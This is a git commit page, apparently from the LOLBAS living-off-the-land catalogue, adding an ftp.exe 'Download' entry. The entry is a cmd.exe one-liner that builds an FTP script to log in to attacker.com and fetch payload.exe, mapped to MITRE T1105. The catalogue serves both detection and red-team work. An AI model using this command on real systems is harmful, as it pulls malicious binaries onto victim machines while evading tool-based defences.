Download for ftp.exe

add a non-interactive one-line command to download arbitrary binary with ftp.exe
excessively useful on Windows XP, & Windows Server 2003 where all other LOLBAS that allow download (certutils, bitsutils, etc.) don't exist and where powershell was not install by default.
This commit is contained in:
Alexandre ZANNI 2020-04-21 23:52:22 +02:00 committed by GitHub
parent 9722cceb9e
commit aef4b06952
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

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@ -12,6 +12,14 @@ Commands:
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10
- Command: cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
Description: Download
Usecase: Spawn new process using ftp.exe. Ftp.exe downloads the binary.
Category: Download
Privileges: User
MitreID: T1105
MitreLink: https://attack.mitre.org/wiki/Technique/T1105
OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: C:\Windows\System32\ftp.exe
- Path: C:\Windows\SysWOW64\ftp.exe
@ -23,6 +31,7 @@ Resources:
- Link: https://twitter.com/0xAmit/status/1070063130636640256
- Link: https://medium.com/@0xamit/lets-talk-about-security-research-discoveries-and-proper-discussion-etiquette-on-twitter-10f9be6d1939
- Link: https://ss64.com/nt/ftp.html
- Link: https://www.asafety.fr/vuln-exploit-poc/windows-dos-powershell-upload-de-fichier-en-ligne-de-commande-one-liner/
Acknowledgement:
- Person: Casey Smith
Handle: '@subtee'
@ -30,4 +39,4 @@ Acknowledgement:
Handle: ''
- Person: Amit Serper
Handle: '@0xAmit '
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